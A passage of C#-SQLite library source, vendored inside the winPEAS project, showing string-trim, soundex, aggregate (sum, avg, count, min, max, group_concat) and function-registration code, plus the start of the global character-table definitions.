argc, sqlite3_value[] argv ) { string zIn; /* Input string */ string zCharSet; /* Set of characters to trim */ int nIn; /* Number of bytes in input */ int izIn = 0; /* C# string pointer */ int flags; /* 1: trimleft 2: trimright 3: trim */ int i; /* Loop counter */ int[] aLen = null; /* Length of each character in zCharSet */ byte[][] azChar = null; /* Individual characters in zCharSet */ int nChar = 0; /* Number of characters in zCharSet */ byte[] zBytes = null; byte[] zBlob = null; if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) { return; } zIn = sqlite3_value_text( argv[0] ); if ( zIn == null ) return; nIn = sqlite3_value_bytes( argv[0] ); zBlob = sqlite3_value_blob( argv[0] ); //Debug.Assert( zIn == sqlite3_value_text( argv[0] ) ); if ( argc == 1 ) { int[] lenOne = new int[] { 1 }; byte[] azOne = new byte[] { (u8)' ' };//static unsigned char * const azOne[] = { (u8*)" " }; nChar = 1; aLen = lenOne; azChar = new byte[1][]; azChar[0] = azOne; zCharSet = null; } else if ( ( zCharSet = sqlite3_value_text( argv[1] ) ) == null ) { return; } else { zBytes = sqlite3_value_blob( argv[1] ); int iz = 0; for ( nChar = 0 ; iz < zBytes.Length ; nChar++ ) { SQLITE_SKIP_UTF8( zBytes, ref iz ); } if ( nChar > 0 ) { azChar = new byte[nChar][];//contextMalloc(context, ((i64)nChar)*(sizeof(char*)+1)); if ( azChar == null ) { return; } aLen = new int[nChar]; int iz0 = 0; int iz1 = 0; for ( int ii = 0 ; ii < nChar ; ii++ ) { SQLITE_SKIP_UTF8( zBytes, ref iz1 ); aLen[ii] = iz1 - iz0; azChar[ii] = new byte[aLen[ii]]; Buffer.BlockCopy( zBytes, iz0, azChar[ii], 0, azChar[ii].Length ); iz0 = iz1; } } } if ( nChar > 0 ) { flags = (int)sqlite3_user_data( context ); // flags = SQLITE_PTR_TO_INT(sqlite3_user_data(context)); if ( ( flags & 1 ) != 0 ) { while ( nIn > 0 ) { int len = 0; for ( i = 0 ; i < nChar ; i++ ) { len = aLen[i]; if ( len <= nIn && memcmp( zBlob, izIn, azChar[i], len ) == 0 ) break; } if ( i >= nChar ) break; izIn += len; nIn -= len; } } if ( ( flags & 2 ) != 0 ) { while ( nIn > 0 ) { int len = 0; for ( i = 0 ; i < nChar ; i++ ) { len = aLen[i]; if ( len <= nIn && memcmp( zBlob, izIn + nIn - len, azChar[i], len ) == 0 ) break; } if ( i >= nChar ) break; nIn -= len; } } if ( zCharSet != null ) { //sqlite3_free( ref azChar ); } } StringBuilder sb = new StringBuilder( nIn ); for ( i = 0 ; i < nIn ; i++ ) sb.Append( (char)zBlob[izIn + i] ); sqlite3_result_text( context, sb.ToString(), nIn, SQLITE_TRANSIENT ); } #if SQLITE_SOUNDEX /* ** Compute the soundex encoding of a word. */ static void soundexFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { Debug.Assert(false); // TODO -- func_c char zResult[8]; const u8 *zIn; int i, j; static const unsigned char iCode[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 0, 1, 2, 0, 0, 2, 2, 4, 5, 5, 0, 1, 2, 6, 2, 3, 0, 1, 0, 2, 0, 2, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 0, 1, 2, 0, 0, 2, 2, 4, 5, 5, 0, 1, 2, 6, 2, 3, 0, 1, 0, 2, 0, 2, 0, 0, 0, 0, 0, }; Debug.Assert( argc==1 ); zIn = (u8*)sqlite3_value_text(argv[0]); if( zIn==0 ) zIn = (u8*)""; for(i=0; zIn[i] && !sqlite3Isalpha(zIn[i]); i++){} if( zIn[i] ){ u8 prevcode = iCode[zIn[i]&0x7f]; zResult[0] = sqlite3Toupper(zIn[i]); for(j=1; j<4 && zIn[i]; i++){ int code = iCode[zIn[i]&0x7f]; if( code>0 ){ if( code!=prevcode ){ prevcode = code; zResult[j++] = code + '0'; } }else{ prevcode = 0; } } while( j<4 ){ zResult[j++] = '0'; } zResult[j] = 0; sqlite3_result_text(context, zResult, 4, SQLITE_TRANSIENT); }else{ sqlite3_result_text(context, "?000", 4, SQLITE_STATIC); } } #endif #if ! SQLITE_OMIT_LOAD_EXTENSION /* ** A function that loads a shared-library extension then returns NULL. */ static void loadExt( sqlite3_context context, int argc, sqlite3_value[] argv ) { string zFile = sqlite3_value_text( argv[0] ); string zProc; sqlite3 db = (sqlite3)sqlite3_context_db_handle( context ); string zErrMsg = ""; if ( argc == 2 ) { zProc = sqlite3_value_text( argv[1] ); } else { zProc = ""; } if ( zFile != null && sqlite3_load_extension( db, zFile, zProc, ref zErrMsg ) != 0 ) { sqlite3_result_error( context, zErrMsg, -1 ); //sqlite3DbFree( db, ref zErrMsg ); } } #endif /* ** An instance of the following structure holds the context of a ** sum() or avg() aggregate computation. */ //typedef struct SumCtx SumCtx; public class SumCtx { public double rSum; /* Floating point sum */ public i64 iSum; /* Integer sum */ public i64 cnt; /* Number of elements summed */ public int overflow; /* True if integer overflow seen */ public bool approx; /* True if non-integer value was input to the sum */ public Mem _M; public Mem Context { get { return _M; } set { _M = value; if ( _M == null || _M.z == null ) iSum = 0; else iSum = Convert.ToInt64( _M.z ); } } }; /* ** Routines used to compute the sum, average, and total. ** ** The SUM() function follows the (broken) SQL standard which means ** that it returns NULL if it sums over no inputs. TOTAL returns ** 0.0 in that case. In addition, TOTAL always returns a float where ** SUM might return an integer if it never encounters a floating point ** value. TOTAL never fails, but SUM might through an exception if ** it overflows an integer. */ static void sumStep( sqlite3_context context, int argc, sqlite3_value[] argv ) { SumCtx p; int type; Debug.Assert( argc == 1 ); UNUSED_PARAMETER( argc ); Mem pMem = sqlite3_aggregate_context( context, -1 );//sizeof(*p)); if ( pMem._SumCtx == null ) pMem._SumCtx = new SumCtx(); p = pMem._SumCtx; if ( p.Context == null ) p.Context = pMem; type = sqlite3_value_numeric_type( argv[0] ); if ( p != null && type != SQLITE_NULL ) { p.cnt++; if ( type == SQLITE_INTEGER ) { i64 v = sqlite3_value_int64( argv[0] ); p.rSum += v; if ( !( p.approx | p.overflow != 0 ) ) { i64 iNewSum = p.iSum + v; int s1 = (int)( p.iSum >> ( sizeof( i64 ) * 8 - 1 ) ); int s2 = (int)( v >> ( sizeof( i64 ) * 8 - 1 ) ); int s3 = (int)( iNewSum >> ( sizeof( i64 ) * 8 - 1 ) ); p.overflow = ( ( s1 & s2 & ~s3 ) | ( ~s1 & ~s2 & s3 ) ) != 0 ? 1 : 0; p.iSum = iNewSum; } } else { p.rSum += sqlite3_value_double( argv[0] ); p.approx = true; } } } static void sumFinalize( sqlite3_context context ) { SumCtx p = null; Mem pMem = sqlite3_aggregate_context( context, 0 ); if ( pMem != null ) p = pMem._SumCtx; if ( p != null && p.cnt > 0 ) { if ( p.overflow != 0 ) { sqlite3_result_error( context, "integer overflow", -1 ); } else if ( p.approx ) { sqlite3_result_double( context, p.rSum ); } else { sqlite3_result_int64( context, p.iSum ); } } } static void avgFinalize( sqlite3_context context ) { SumCtx p = null; Mem pMem = sqlite3_aggregate_context( context, 0 ); if ( pMem != null ) p = pMem._SumCtx; if ( p != null && p.cnt > 0 ) { sqlite3_result_double( context, p.rSum / (double)p.cnt ); } } static void totalFinalize( sqlite3_context context ) { SumCtx p = null; Mem pMem = sqlite3_aggregate_context( context, 0 ); if ( pMem != null ) p = pMem._SumCtx; /* (double)0 In case of SQLITE_OMIT_FLOATING_POINT... */ sqlite3_result_double( context, p != null ? p.rSum : (double)0 ); } /* ** The following structure keeps track of state information for the ** count() aggregate function. */ //typedef struct CountCtx CountCtx; public class CountCtx { i64 _n; Mem _M; public Mem Context { get { return _M; } set { _M = value; if ( _M == null || _M.z == null ) _n = 0; else _n = Convert.ToInt64( _M.z ); } } public i64 n { get { return _n; } set { _n = value; if ( _M != null ) _M.z = _n.ToString(); } } } /* ** Routines to implement the count() aggregate function. */ static void countStep( sqlite3_context context, int argc, sqlite3_value[] argv ) { CountCtx p = new CountCtx(); p.Context = sqlite3_aggregate_context( context, -1 );//sizeof(*p)); if ( ( argc == 0 || SQLITE_NULL != sqlite3_value_type( argv[0] ) ) && p.Context != null ) { p.n++; } #if !SQLITE_OMIT_DEPRECATED /* The sqlite3_aggregate_count() function is deprecated. But just to make ** sure it still operates correctly, verify that its count agrees with our ** internal count when using count(*) and when the total count can be ** expressed as a 32-bit integer. */ Debug.Assert( argc == 1 || p == null || p.n > 0x7fffffff || p.n == sqlite3_aggregate_count( context ) ); #endif } static void countFinalize( sqlite3_context context ) { CountCtx p = new CountCtx(); p.Context = sqlite3_aggregate_context( context, 0 ); sqlite3_result_int64( context, p != null ? p.n : 0 ); } /* ** Routines to implement min() and max() aggregate functions. */ static void minmaxStep( sqlite3_context context, int NotUsed, sqlite3_value[] argv ) { Mem pArg = (Mem)argv[0]; Mem pBest; UNUSED_PARAMETER( NotUsed ); if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) return; pBest = (Mem)sqlite3_aggregate_context( context, -1 );//sizeof(*pBest)); if ( pBest == null ) return; if ( pBest.flags != 0 ) { bool max; int cmp; CollSeq pColl = sqlite3GetFuncCollSeq( context ); /* This step function is used for both the min() and max() aggregates, ** the only difference between the two being that the sense of the ** comparison is inverted. For the max() aggregate, the ** sqlite3_context_db_handle() function returns (void *)-1. For min() it ** returns (void *)db, where db is the sqlite3* database pointer. ** Therefore the next statement sets variable 'max' to 1 for the max() ** aggregate, or 0 for min(). */ max = sqlite3_context_db_handle( context ) != null && (int)sqlite3_user_data( context ) != 0; cmp = sqlite3MemCompare( pBest, pArg, pColl ); if ( ( max && cmp < 0 ) || ( !max && cmp > 0 ) ) { sqlite3VdbeMemCopy( pBest, pArg ); } } else { sqlite3VdbeMemCopy( pBest, pArg ); } } static void minMaxFinalize( sqlite3_context context ) { sqlite3_value pRes; pRes = (sqlite3_value)sqlite3_aggregate_context( context, 0 ); if ( pRes != null ) { if ( ALWAYS( pRes.flags != 0 ) ) { sqlite3_result_value( context, pRes ); } sqlite3VdbeMemRelease( pRes ); } } /* ** group_concat(EXPR, ?SEPARATOR?) */ static void groupConcatStep( sqlite3_context context, int argc, sqlite3_value[] argv ) { string zVal; StrAccum pAccum; string zSep; int nVal, nSep; Debug.Assert( argc == 1 || argc == 2 ); if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) return; Mem pMem = sqlite3_aggregate_context( context, -1 );//sizeof(*pAccum)); if ( pMem._StrAccum == null ) pMem._StrAccum = new StrAccum(); pAccum = pMem._StrAccum; if ( pAccum.Context == null ) pAccum.Context = pMem; if ( pAccum != null ) { sqlite3 db = sqlite3_context_db_handle( context ); int firstTerm = pAccum.useMalloc == 0 ? 1 : 0; pAccum.useMalloc = 1; pAccum.mxAlloc = db.aLimit[SQLITE_LIMIT_LENGTH]; if ( 0 == firstTerm ) { if ( argc == 2 ) { zSep = sqlite3_value_text( argv[1] ); nSep = sqlite3_value_bytes( argv[1] ); } else { zSep = ","; nSep = 1; } sqlite3StrAccumAppend( pAccum, zSep, nSep ); } zVal = sqlite3_value_text( argv[0] ); nVal = sqlite3_value_bytes( argv[0] ); sqlite3StrAccumAppend( pAccum, zVal, nVal ); } } static void groupConcatFinalize( sqlite3_context context ) { StrAccum pAccum = null; Mem pMem = sqlite3_aggregate_context( context, 0 ); if ( pMem != null ) { if ( pMem._StrAccum == null ) pMem._StrAccum = new StrAccum(); pAccum = pMem._StrAccum; } if ( pAccum != null ) { if ( pAccum.tooBig != 0 ) { sqlite3_result_error_toobig( context ); } //else if ( pAccum.mallocFailed != 0 ) //{ // sqlite3_result_error_nomem( context ); //} else { sqlite3_result_text( context, sqlite3StrAccumFinish( pAccum ), -1, null); //sqlite3_free ); } } } /* ** This function registered all of the above C functions as SQL ** functions. This should be the only routine in this file with ** external linkage. */ public struct sFuncs { public string zName; public sbyte nArg; public u8 argType; /* 1: 0, 2: 1, 3: 2,... N: N-1. */ public u8 eTextRep; /* 1: UTF-16. 0: UTF-8 */ public u8 needCollSeq; public dxFunc xFunc; //(sqlite3_context*,int,sqlite3_value **); // Constructor public sFuncs( string zName, sbyte nArg, u8 argType, u8 eTextRep, u8 needCollSeq, dxFunc xFunc ) { this.zName = zName; this.nArg = nArg; this.argType = argType; this.eTextRep = eTextRep; this.needCollSeq = needCollSeq; this.xFunc = xFunc; } }; public struct sAggs { public string zName; public sbyte nArg; public u8 argType; public u8 needCollSeq; public dxStep xStep; //(sqlite3_context*,int,sqlite3_value**); public dxFinal xFinalize; //(sqlite3_context*); // Constructor public sAggs( string zName, sbyte nArg, u8 argType, u8 needCollSeq, dxStep xStep, dxFinal xFinalize ) { this.zName = zName; this.nArg = nArg; this.argType = argType; this.needCollSeq = needCollSeq; this.xStep = xStep; this.xFinalize = xFinalize; } } static void sqlite3RegisterBuiltinFunctions( sqlite3 db ) { #if !SQLITE_OMIT_ALTERTABLE sqlite3AlterFunctions( db ); #endif ////if ( 0 == db.mallocFailed ) { int rc = sqlite3_overload_function( db, "MATCH", 2 ); Debug.Assert( rc == SQLITE_NOMEM || rc == SQLITE_OK ); if ( rc == SQLITE_NOMEM ) { //// db.mallocFailed = 1; } } } /* ** Set the LIKEOPT flag on the 2-argument function with the given name. */ static void setLikeOptFlag( sqlite3 db, string zName, int flagVal ) { FuncDef pDef; pDef = sqlite3FindFunction( db, zName, sqlite3Strlen30( zName ), 2, SQLITE_UTF8, 0 ); if ( ALWAYS( pDef != null ) ) { pDef.flags = (byte)flagVal; } } /* ** Register the built-in LIKE and GLOB functions. The caseSensitive ** parameter determines whether or not the LIKE operator is case ** sensitive. GLOB is always case sensitive. */ static void sqlite3RegisterLikeFunctions( sqlite3 db, int caseSensitive ) { compareInfo pInfo; if ( caseSensitive != 0 ) { pInfo = likeInfoAlt; } else { pInfo = likeInfoNorm; } sqlite3CreateFunc( db, "like", 2, SQLITE_ANY, pInfo, (dxFunc)likeFunc, null, null ); sqlite3CreateFunc( db, "like", 3, SQLITE_ANY, pInfo, (dxFunc)likeFunc, null, null ); sqlite3CreateFunc( db, "glob", 2, SQLITE_ANY, globInfo, (dxFunc)likeFunc, null, null ); setLikeOptFlag( db, "glob", SQLITE_FUNC_LIKE | SQLITE_FUNC_CASE ); setLikeOptFlag( db, "like", caseSensitive != 0 ? ( SQLITE_FUNC_LIKE | SQLITE_FUNC_CASE ) : SQLITE_FUNC_LIKE ); } /* ** pExpr points to an expression which implements a function. If ** it is appropriate to apply the LIKE optimization to that function ** then set aWc[0] through aWc[2] to the wildcard characters and ** return TRUE. If the function is not a LIKE-style function then ** return FALSE. */ static bool sqlite3IsLikeFunction( sqlite3 db, Expr pExpr, ref bool pIsNocase, char[] aWc ) { FuncDef pDef; if ( pExpr.op != TK_FUNCTION || null == pExpr.x.pList || pExpr.x.pList.nExpr != 2 ) { return false; } Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); pDef = sqlite3FindFunction( db, pExpr.u.zToken, sqlite3Strlen30( pExpr.u.zToken ), 2, SQLITE_UTF8, 0 ); if ( NEVER( pDef == null ) || ( pDef.flags & SQLITE_FUNC_LIKE ) == 0 ) { return false; } /* The memcpy() statement assumes that the wildcard characters are ** the first three statements in the compareInfo structure. The ** Debug.Asserts() that follow verify that assumption */ //memcpy( aWc, pDef.pUserData, 3 ); aWc[0] = ( (compareInfo)pDef.pUserData ).matchAll; aWc[1] = ( (compareInfo)pDef.pUserData ).matchOne; aWc[2] = ( (compareInfo)pDef.pUserData ).matchSet; // Debug.Assert((char*)&likeInfoAlt == (char*)&likeInfoAlt.matchAll); // Debug.Assert(&((char*)&likeInfoAlt)[1] == (char*)&likeInfoAlt.matchOne); // Debug.Assert(&((char*)&likeInfoAlt)[2] == (char*)&likeInfoAlt.matchSet); pIsNocase = ( pDef.flags & SQLITE_FUNC_CASE ) == 0; return true; } /* ** All all of the FuncDef structures in the aBuiltinFunc[] array above ** to the global function hash table. This occurs at start-time (as ** a consequence of calling sqlite3_initialize()). ** ** After this routine runs */ static void sqlite3RegisterGlobalFunctions() { /* ** The following array holds FuncDef structures for all of the functions ** defined in this file. ** ** The array cannot be constant since changes are made to the ** FuncDef.pHash elements at start-time. The elements of this array ** are read-only after initialization is complete. */ FuncDef[] aBuiltinFunc = { FUNCTION("ltrim", 1, 1, 0, trimFunc ), FUNCTION("ltrim", 2, 1, 0, trimFunc ), FUNCTION("rtrim", 1, 2, 0, trimFunc ), FUNCTION("rtrim", 2, 2, 0, trimFunc ), FUNCTION("trim", 1, 3, 0, trimFunc ), FUNCTION("trim", 2, 3, 0, trimFunc ), FUNCTION("min", -1, 0, 1, minmaxFunc ), FUNCTION("min", 0, 0, 1, null ), AGGREGATE("min", 1, 0, 1, minmaxStep, minMaxFinalize ), FUNCTION("max", -1, 1, 1, minmaxFunc ), FUNCTION("max", 0, 1, 1, null ), AGGREGATE("max", 1, 1, 1, minmaxStep, minMaxFinalize ), FUNCTION("typeof", 1, 0, 0, typeofFunc ), FUNCTION("length", 1, 0, 0, lengthFunc ), FUNCTION("substr", 2, 0, 0, substrFunc ), FUNCTION("substr", 3, 0, 0, substrFunc ), FUNCTION("abs", 1, 0, 0, absFunc ), #if !SQLITE_OMIT_FLOATING_POINT FUNCTION("round", 1, 0, 0, roundFunc ), FUNCTION("round", 2, 0, 0, roundFunc ), #endif FUNCTION("upper", 1, 0, 0, upperFunc ), FUNCTION("lower", 1, 0, 0, lowerFunc ), FUNCTION("coalesce", 1, 0, 0, null ), FUNCTION("coalesce", -1, 0, 0, ifnullFunc ), FUNCTION("coalesce", 0, 0, 0, null ), FUNCTION("hex", 1, 0, 0, hexFunc ), FUNCTION("ifnull", 2, 0, 1, ifnullFunc ), FUNCTION("random", 0, 0, 0, randomFunc ), FUNCTION("randomblob", 1, 0, 0, randomBlob ), FUNCTION("nullif", 2, 0, 1, nullifFunc ), FUNCTION("sqlite_version", 0, 0, 0, versionFunc ), FUNCTION("quote", 1, 0, 0, quoteFunc ), FUNCTION("last_insert_rowid", 0, 0, 0, last_insert_rowid), FUNCTION("changes", 0, 0, 0, changes ), FUNCTION("total_changes", 0, 0, 0, total_changes ), FUNCTION("replace", 3, 0, 0, replaceFunc ), FUNCTION("zeroblob", 1, 0, 0, zeroblobFunc ), #if SQLITE_SOUNDEX FUNCTION("soundex", 1, 0, 0, soundexFunc ), #endif #if !SQLITE_OMIT_LOAD_EXTENSION FUNCTION("load_extension", 1, 0, 0, loadExt ), FUNCTION("load_extension", 2, 0, 0, loadExt ), #endif AGGREGATE("sum", 1, 0, 0, sumStep, sumFinalize ), AGGREGATE("total", 1, 0, 0, sumStep, totalFinalize ), AGGREGATE("avg", 1, 0, 0, sumStep, avgFinalize ), /*AGGREGATE("count", 0, 0, 0, countStep, countFinalize ), */ /* AGGREGATE(count, 0, 0, 0, countStep, countFinalize ), */ new FuncDef( 0,SQLITE_UTF8,SQLITE_FUNC_COUNT,null,null,null,countStep,countFinalize,"count",null), AGGREGATE("count", 1, 0, 0, countStep, countFinalize ), AGGREGATE("group_concat", 1, 0, 0, groupConcatStep, groupConcatFinalize), AGGREGATE("group_concat", 2, 0, 0, groupConcatStep, groupConcatFinalize), LIKEFUNC("glob", 2, globInfo, SQLITE_FUNC_LIKE|SQLITE_FUNC_CASE), #if SQLITE_CASE_SENSITIVE_LIKE LIKEFUNC("like", 2, likeInfoAlt, SQLITE_FUNC_LIKE|SQLITE_FUNC_CASE), LIKEFUNC("like", 3, likeInfoAlt, SQLITE_FUNC_LIKE|SQLITE_FUNC_CASE), #else LIKEFUNC("like", 2, likeInfoNorm, SQLITE_FUNC_LIKE), LIKEFUNC("like", 3, likeInfoNorm, SQLITE_FUNC_LIKE), #endif }; int i; #if SQLITE_OMIT_WSD FuncDefHash pHash = GLOBAL( FuncDefHash, sqlite3GlobalFunctions ); FuncDef[] aFunc = (FuncDef[])GLOBAL( FuncDef, aBuiltinFunc ); #else FuncDefHash pHash = sqlite3GlobalFunctions; FuncDef[] aFunc = aBuiltinFunc; #endif for ( i = 0 ; i < ArraySize( aBuiltinFunc ) ; i++ ) { sqlite3FuncDefInsert( pHash, aFunc[i] ); } sqlite3RegisterDateTimeFunctions(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/global_c.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2008 June 13 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** This file contains definitions of global variables and contants. ** ** $Id: global.c,v 1.12 2009/02/05 16:31:46 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* An array to map all upper-case characters into their corresponding ** lower-case character. ** ** SQLite only considers US-ASCII (or EBCDIC) characters. We do not ** handle case conversions for the UTF character set since the tables ** involved are nearly as big or bigger than SQLite itself. */ /* An array to map all upper-case characters into their corresponding ** lower-case character. */ static int[] sqlite3UpperToLower = new int[] { #if SQLITE_ASCII 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 97, 98, 99,100,101,102,103, 104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121, 122, 91, 92, 93, 94, 95, 96, 97, 98, 99,100,101,102,103,104,105,106,107, 108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125, 126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143, 144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161, 162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179, 180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197, 198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215, 216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233, 234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251, 252,253,254,255 #endif #if SQLITE_EBCDIC 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, /* 0x */ 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, /* 1x */ 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, /* 2x */ 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, /* 3x */ 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, /* 4x */ 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, /* 5x */ 96, 97, 66, 67, 68, 69, 70, 71, 72, 73,106,107,108,109,110,111, /* 6x */ 112, 81, 82, 83, 84, 85, 86, 87, 88, 89,122,123,124,125,126,127, /* 7x */ 128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143, /* 8x */ 144,145,146,147,148,149,150,151,152,153,154,155,156,157,156,159, /* 9x */ 160,161,162,163,164,165,166,167,168,169,170,171,140,141,142,175, /* Ax */ 176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191, /* Bx */ 192,129,130,131,132,133,134,135,136,137,202,203,204,205,206,207, /* Cx */ 208,145,146,147,148,149,150,151,152,153,218,219,220,221,222,223, /* Dx */ 224,225,162,163,164,165,166,167,168,169,232,203,204,205,206,207, /* Ex */ 239,240,241,242,243,244,245,246,247,248,249,219,220,221,222,255, /* Fx */ #endif }; /* ** The following 256 byte lookup table is used to support SQLites built-in ** equivalents to the following standard library functions: ** ** isspace() 0x01 ** isalpha() 0x02 ** isdigit() 0x04 ** isalnum() 0x06 ** isxdigit() 0x08 ** toupper() 0x20 ** ** Bit 0x20 is set if the mapped character requires translation to upper ** case. i.e. if the character is a lower-case ASCII character. ** If x is a lower-case ASCII character, then its upper-case equivalent ** is (x - 0x20). Therefore toupper() can be implemented as: ** ** (x & ~(map[x]&0x20)) ** ** Standard function tolower() is implemented using the sqlite3UpperToLower[] ** array. tolower() is used more often than toupper() by SQLite. ** ** SQLite's versions are identical to the standard versions assuming a ** locale of "C". They are implemented as macros in sqliteInt.h. */ #if SQLITE_ASCII static byte[] sqlite3CtypeMap = new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 00..07 ........ */ 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, /* 08..0f ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 10..17 ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 18..1f ........ */ 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 20..27 !"#$%&' */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 28..2f ()*+,-./ */ 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, /* 30..37 01234567 */ 0x0c, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 38..3f 89:;<=>? */ 0x00, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x02, /* 40..47 @ABCDEFG */ 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, /* 48..4f HIJKLMNO */ 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, /* 50..57 PQRSTUVW */ 0x02, 0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, /* 58..5f XYZ[\]^_ */ 0x00, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x22, /* 60..67 `abcdefg */ 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, /* 68..6f hijklmno */ 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, /* 70..77 pqrstuvw */ 0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, /* 78..7f xyz{|}~. */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 80..87 ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 88..8f ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 90..97 ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 98..9f ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* a0..a7 ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* a8..af ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* b0..b7 ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* b8..bf ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* c0..c7 ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* c8..cf ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* d0..d7 ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* d8..df ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* e0..e7 ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* e8..ef ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* f0..f7 ........ */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 /* f8..ff ........ */ }; #endif /* ** The following singleton contains the global configuration for ** the SQLite library. */ static Sqlite3Config sqlite3Config = new Sqlite3Config( SQLITE_DEFAULT_MEMSTATUS, /* bMemstat */ 1, /* bCoreMutex */ SQLITE_THREADSAFE == 1, /* bFullMutex */ 0x7ffffffe, /* mxStrlen */ 100, /* szLookaside */ 500, /* nLookaside */ new sqlite3_mem_methods(), /* m */ new sqlite3_mutex_methods( null, null, null, null, null, null, null, null, null ), /* mutex */ new sqlite3_pcache_methods(),/* pcache */ null, /* pHeap */ 0, /* nHeap */ 0, 0, /* mnHeap, mxHeap */ null, /* pScratch */ 0, /* szScratch */ 0, /* nScratch */ null, /* pPage */ 0, /* szPage */ 0, /* nPage */ 0, /* mxParserStack */ false, /* sharedCacheEnabled */ /* All the rest need to always be zero */ 0, /* isInit */ 0, /* inProgress */ 0, /* isMallocInit */ null, /* pInitMutex */ 0 /* nRefInitMutex */ ); /* ** Hash table for global functions - functions common to all ** database connections. After initialization, this table is ** read-only. */ static FuncDefHash sqlite3GlobalFunctions; /* ** The value of the "pending" byte must be 0x40000000 (1 byte past the ** 1-gibabyte boundary) in a compatible database. SQLite never uses ** the database page that contains the pending byte. It never attempts ** to read or write that page. The pending byte page is set assign ** for use by the VFS layers as space for managing file locks. ** ** During testing, it is often desirable to move the pending byte to ** a different position in the file. This allows code that has to ** deal with the pending 